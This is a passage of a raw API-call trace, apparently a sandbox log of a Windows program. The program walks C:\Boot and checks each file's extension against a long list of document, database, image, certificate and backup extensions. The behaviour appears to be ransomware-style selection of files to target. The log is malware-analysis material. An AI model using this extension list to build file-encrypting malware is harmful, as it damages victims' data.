	[0166.361] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0166.361] lstrlenW (lpString=".log") returned 4
	[0166.361] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0166.361] lstrlenW (lpString=".m1v") returned 4
	[0166.361] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0166.361] lstrlenW (lpString=".m4a") returned 4
	[0166.361] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0166.361] lstrlenW (lpString=".m4v") returned 4
	[0166.361] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0166.361] lstrlenW (lpString=".max") returned 4
	[0166.361] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0166.361] lstrlenW (lpString=".md") returned 3
	[0166.361] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0166.361] lstrlenW (lpString=".mda") returned 4
	[0166.361] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0166.361] lstrlenW (lpString=".mdb") returned 4
	[0166.361] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0166.361] lstrlenW (lpString=".mde") returned 4
	[0166.361] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0166.362] lstrlenW (lpString=".mdf") returned 4
	[0166.362] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0166.362] lstrlenW (lpString=".mdw") returned 4
	[0166.362] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0166.362] lstrlenW (lpString=".mef") returned 4
	[0166.362] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0166.362] lstrlenW (lpString=".mft") returned 4
	[0166.362] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0166.362] lstrlenW (lpString=".mfw") returned 4
	[0166.362] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0166.362] lstrlenW (lpString=".mht") returned 4
	[0166.362] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0166.362] lstrlenW (lpString=".mhtml") returned 6
	[0166.362] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1
	[0166.362] lstrlenW (lpString=".mka") returned 4
	[0166.362] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0166.362] lstrlenW (lpString=".mkidx") returned 6
	[0166.362] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1
	[0166.362] lstrlenW (lpString=".mkv") returned 4
	[0166.362] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0166.362] lstrlenW (lpString=".mos") returned 4
	[0166.362] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0166.362] lstrlenW (lpString=".mov") returned 4
	[0166.362] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0166.362] lstrlenW (lpString=".mp3") returned 4
	[0166.362] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0166.363] lstrlenW (lpString=".mp4") returned 4
	[0166.363] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0166.363] lstrlenW (lpString=".mpeg") returned 5
	[0166.363] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1
	[0166.363] lstrlenW (lpString=".mpg") returned 4
	[0166.363] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0166.363] lstrlenW (lpString=".mpv") returned 4
	[0166.363] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0166.363] lstrlenW (lpString=".mrw") returned 4
	[0166.363] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0166.363] lstrlenW (lpString=".msg") returned 4
	[0166.363] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0166.363] lstrlenW (lpString=".mxl") returned 4
	[0166.363] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0166.363] lstrlenW (lpString=".myd") returned 4
	[0166.363] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0166.363] lstrlenW (lpString=".myi") returned 4
	[0166.363] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0166.363] lstrlenW (lpString=".nef") returned 4
	[0166.363] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0166.363] lstrlenW (lpString=".nrw") returned 4
	[0166.363] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0166.363] lstrlenW (lpString=".obj") returned 4
	[0166.363] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0166.363] lstrlenW (lpString=".odb") returned 4
	[0166.363] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0166.364] lstrlenW (lpString=".odc") returned 4
	[0166.364] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0166.364] lstrlenW (lpString=".odm") returned 4
	[0166.364] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0166.364] lstrlenW (lpString=".odp") returned 4
	[0166.364] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0166.364] lstrlenW (lpString=".ods") returned 4
	[0166.364] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0166.364] lstrlenW (lpString=".oft") returned 4
	[0166.364] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0166.364] lstrlenW (lpString=".one") returned 4
	[0166.364] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0166.364] lstrlenW (lpString=".onepkg") returned 7
	[0166.364] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1
	[0166.364] lstrlenW (lpString=".onetoc2") returned 8
	[0166.364] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1
	[0166.364] lstrlenW (lpString=".opt") returned 4
	[0166.364] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0166.364] lstrlenW (lpString=".oqy") returned 4
	[0166.364] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0166.364] lstrlenW (lpString=".orf") returned 4
	[0166.364] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0166.364] lstrlenW (lpString=".p12") returned 4
	[0166.364] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0166.364] lstrlenW (lpString=".p7b") returned 4
	[0166.365] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0166.365] lstrlenW (lpString=".p7c") returned 4
	[0166.365] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0166.365] lstrlenW (lpString=".pam") returned 4
	[0166.365] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0166.365] lstrlenW (lpString=".pbm") returned 4
	[0166.365] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0166.365] lstrlenW (lpString=".pct") returned 4
	[0166.365] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0166.365] lstrlenW (lpString=".pcx") returned 4
	[0166.365] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0166.365] lstrlenW (lpString=".pdd") returned 4
	[0166.365] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0166.365] lstrlenW (lpString=".pdf") returned 4
	[0166.365] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0166.365] lstrlenW (lpString=".pdp") returned 4
	[0166.365] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0166.365] lstrlenW (lpString=".pef") returned 4
	[0166.365] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0166.365] lstrlenW (lpString=".pem") returned 4
	[0166.365] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0166.365] lstrlenW (lpString=".pff") returned 4
	[0166.365] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0166.365] lstrlenW (lpString=".pfm") returned 4
	[0166.366] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0166.366] lstrlenW (lpString=".pfx") returned 4
	[0166.366] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0166.366] lstrlenW (lpString=".pgm") returned 4
	[0166.366] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0166.366] lstrlenW (lpString=".php") returned 4
	[0166.366] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0166.366] lstrlenW (lpString=".php3") returned 5
	[0166.366] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1
	[0166.366] lstrlenW (lpString=".php4") returned 5
	[0166.512] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1
	[0166.512] lstrlenW (lpString=".php5") returned 5
	[0166.512] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1
	[0166.512] lstrlenW (lpString=".phtml") returned 6
	[0166.512] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1
	[0166.512] lstrlenW (lpString=".pict") returned 5
	[0166.512] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1
	[0166.512] lstrlenW (lpString=".pl") returned 3
	[0166.512] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0166.512] lstrlenW (lpString=".pls") returned 4
	[0166.512] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0166.512] lstrlenW (lpString=".pm") returned 3
	[0166.513] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0166.513] lstrlenW (lpString=".png") returned 4
	[0166.513] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0166.513] lstrlenW (lpString=".pnm") returned 4
	[0166.513] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0166.513] lstrlenW (lpString=".pot") returned 4
	[0166.513] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0166.513] lstrlenW (lpString=".potm") returned 5
	[0166.513] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1
	[0166.513] lstrlenW (lpString=".potx") returned 5
	[0166.513] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1
	[0166.513] lstrlenW (lpString=".ppa") returned 4
	[0166.513] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0166.513] lstrlenW (lpString=".ppam") returned 5
	[0166.513] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1
	[0166.513] lstrlenW (lpString=".ppm") returned 4
	[0166.513] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0166.513] lstrlenW (lpString=".pps") returned 4
	[0166.513] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0166.513] lstrlenW (lpString=".ppsm") returned 5
	[0166.513] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1
	[0166.513] lstrlenW (lpString=".ppt") returned 4
	[0166.513] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0166.513] lstrlenW (lpString=".pptm") returned 5
	[0166.513] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1
	[0166.514] lstrlenW (lpString=".pptx") returned 5
	[0166.514] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1
	[0166.514] lstrlenW (lpString=".prn") returned 4
	[0166.514] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0166.514] lstrlenW (lpString=".ps") returned 3
	[0166.514] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0166.514] lstrlenW (lpString=".psb") returned 4
	[0166.514] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0166.514] lstrlenW (lpString=".psd") returned 4
	[0166.514] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0166.514] lstrlenW (lpString=".pst") returned 4
	[0166.514] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0166.514] lstrlenW (lpString=".ptx") returned 4
	[0166.514] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0166.514] lstrlenW (lpString=".pub") returned 4
	[0166.514] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0166.514] lstrlenW (lpString=".pwm") returned 4
	[0166.514] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0166.514] lstrlenW (lpString=".pxr") returned 4
	[0166.514] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0166.514] lstrlenW (lpString=".py") returned 3
	[0166.514] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0166.514] lstrlenW (lpString=".qt") returned 3
	[0166.514] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0166.514] lstrlenW (lpString=".r3d") returned 4
	[0166.515] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0166.515] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.515] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.515] FindClose (in: hFindFile=0x6abb18 | out: hFindFile=0x6abb18) returned 1
	[0166.515] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0166.515] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0166.515] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0166.515] lstrlenW (lpString="C:\\Boot\\de-DE") returned 13
	[0166.515] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6abc98
	[0166.516] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.516] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.516] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0166.516] lstrlenW (lpString=".1cd") returned 4
	[0166.516] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0166.516] lstrlenW (lpString=".3ds") returned 4
	[0166.516] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0166.516] lstrlenW (lpString=".3fr") returned 4
	[0166.516] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0166.516] lstrlenW (lpString=".3g2") returned 4
	[0166.516] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0166.516] lstrlenW (lpString=".3gp") returned 4
	[0166.516] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0166.516] lstrlenW (lpString=".7z") returned 3
	[0166.516] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0166.516] lstrlenW (lpString=".accda") returned 6
	[0166.516] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0166.516] lstrlenW (lpString=".accdb") returned 6
	[0166.516] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0166.516] lstrlenW (lpString=".accdc") returned 6
	[0166.516] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0166.516] lstrlenW (lpString=".accde") returned 6
	[0166.517] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0166.517] lstrlenW (lpString=".accdt") returned 6
	[0166.517] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0166.517] lstrlenW (lpString=".accdw") returned 6
	[0166.517] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0166.517] lstrlenW (lpString=".adb") returned 4
	[0166.517] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0166.517] lstrlenW (lpString=".adp") returned 4
	[0166.517] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0166.517] lstrlenW (lpString=".ai") returned 3
	[0166.517] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0166.517] lstrlenW (lpString=".ai3") returned 4
	[0166.517] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0166.517] lstrlenW (lpString=".ai4") returned 4
	[0166.517] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0166.517] lstrlenW (lpString=".ai5") returned 4
	[0166.517] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0166.517] lstrlenW (lpString=".ai6") returned 4
	[0166.517] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0166.517] lstrlenW (lpString=".ai7") returned 4
	[0166.517] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0166.517] lstrlenW (lpString=".ai8") returned 4
	[0166.517] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0166.517] lstrlenW (lpString=".anim") returned 5
	[0166.517] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0166.518] lstrlenW (lpString=".arw") returned 4
	[0166.518] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0166.518] lstrlenW (lpString=".as") returned 3
	[0166.518] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0166.518] lstrlenW (lpString=".asa") returned 4
	[0166.518] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0166.518] lstrlenW (lpString=".asc") returned 4
	[0166.518] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0166.518] lstrlenW (lpString=".ascx") returned 5
	[0166.518] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0166.518] lstrlenW (lpString=".asm") returned 4
	[0166.518] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0166.518] lstrlenW (lpString=".asmx") returned 5
	[0166.518] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0166.518] lstrlenW (lpString=".asp") returned 4
	[0166.518] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0166.518] lstrlenW (lpString=".aspx") returned 5
	[0166.518] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0166.518] lstrlenW (lpString=".asr") returned 4
	[0166.518] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0166.518] lstrlenW (lpString=".asx") returned 4
	[0166.518] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0166.518] lstrlenW (lpString=".avi") returned 4
	[0166.518] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0166.518] lstrlenW (lpString=".avs") returned 4
	[0166.519] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0166.519] lstrlenW (lpString=".backup") returned 7
	[0166.519] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1
	[0166.519] lstrlenW (lpString=".bak") returned 4
	[0166.519] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0166.519] lstrlenW (lpString=".bay") returned 4
	[0166.519] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0166.519] lstrlenW (lpString=".bd") returned 3
	[0166.519] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0166.519] lstrlenW (lpString=".bin") returned 4
	[0166.519] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0166.519] lstrlenW (lpString=".bmp") returned 4
	[0166.519] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0166.519] lstrlenW (lpString=".bz2") returned 4
	[0166.519] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0166.519] lstrlenW (lpString=".c") returned 2
	[0166.519] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0166.519] lstrlenW (lpString=".cdr") returned 4
	[0166.519] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0166.519] lstrlenW (lpString=".cer") returned 4
	[0166.519] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0166.519] lstrlenW (lpString=".cf") returned 3
	[0166.519] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0166.519] lstrlenW (lpString=".cfc") returned 4
	[0166.519] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0166.520] lstrlenW (lpString=".cfm") returned 4
	[0166.520] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0166.520] lstrlenW (lpString=".cfml") returned 5
	[0166.520] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1
	[0166.520] lstrlenW (lpString=".cfu") returned 4
	[0166.520] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0166.520] lstrlenW (lpString=".chm") returned 4
	[0166.520] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0166.520] lstrlenW (lpString=".cin") returned 4
	[0166.520] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0166.520] lstrlenW (lpString=".class") returned 6
	[0166.520] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1
	[0166.520] lstrlenW (lpString=".clx") returned 4
	[0166.520] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0166.520] lstrlenW (lpString=".config") returned 7
	[0166.520] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1
	[0166.520] lstrlenW (lpString=".cpp") returned 4
	[0166.520] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0166.520] lstrlenW (lpString=".cr2") returned 4
	[0166.520] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0166.520] lstrlenW (lpString=".crt") returned 4
	[0166.520] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0166.520] lstrlenW (lpString=".crw") returned 4
	[0166.520] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0166.520] lstrlenW (lpString=".cs") returned 3
	[0166.521] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0166.521] lstrlenW (lpString=".css") returned 4
	[0166.521] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0166.521] lstrlenW (lpString=".csv") returned 4
	[0166.521] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0166.521] lstrlenW (lpString=".cub") returned 4
	[0166.521] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0166.521] lstrlenW (lpString=".dae") returned 4
	[0166.521] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0166.521] lstrlenW (lpString=".dat") returned 4
	[0166.521] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0166.521] lstrlenW (lpString=".db") returned 3
	[0166.521] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0166.521] lstrlenW (lpString=".dbf") returned 4
	[0166.521] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0166.521] lstrlenW (lpString=".dbx") returned 4
	[0166.521] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0166.521] lstrlenW (lpString=".dc3") returned 4
	[0166.521] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0166.521] lstrlenW (lpString=".dcm") returned 4
	[0166.521] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0166.521] lstrlenW (lpString=".dcr") returned 4
	[0166.521] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0166.521] lstrlenW (lpString=".der") returned 4
	[0166.521] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0166.521] lstrlenW (lpString=".dib") returned 4
	[0166.522] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0166.522] lstrlenW (lpString=".dic") returned 4
	[0166.522] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0166.522] lstrlenW (lpString=".dif") returned 4
	[0166.522] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0166.522] lstrlenW (lpString=".divx") returned 5
	[0166.522] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1
	[0166.522] lstrlenW (lpString=".djvu") returned 5
	[0166.522] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1
	[0166.522] lstrlenW (lpString=".dng") returned 4
	[0166.522] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0166.522] lstrlenW (lpString=".doc") returned 4
	[0166.522] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0166.522] lstrlenW (lpString=".docm") returned 5
	[0166.522] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1
	[0166.522] lstrlenW (lpString=".docx") returned 5
	[0166.522] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0166.522] lstrlenW (lpString=".dot") returned 4
	[0166.522] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0166.522] lstrlenW (lpString=".dotm") returned 5
	[0166.522] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1
	[0166.522] lstrlenW (lpString=".dotx") returned 5
	[0166.522] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1
	[0166.522] lstrlenW (lpString=".dpx") returned 4
	[0166.522] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0166.523] lstrlenW (lpString=".dqy") returned 4
	[0166.523] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0166.523] lstrlenW (lpString=".dsn") returned 4
	[0166.523] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0166.523] lstrlenW (lpString=".dt") returned 3
	[0166.523] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0166.523] lstrlenW (lpString=".dtd") returned 4
	[0166.523] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0166.523] lstrlenW (lpString=".dwg") returned 4
	[0166.523] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0166.523] lstrlenW (lpString=".dwt") returned 4
	[0166.523] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0166.523] lstrlenW (lpString=".dx") returned 3
	[0166.523] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0166.523] lstrlenW (lpString=".dxf") returned 4
	[0166.523] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0166.523] lstrlenW (lpString=".edml") returned 5
	[0166.523] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1
	[0166.523] lstrlenW (lpString=".efd") returned 4
	[0166.523] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
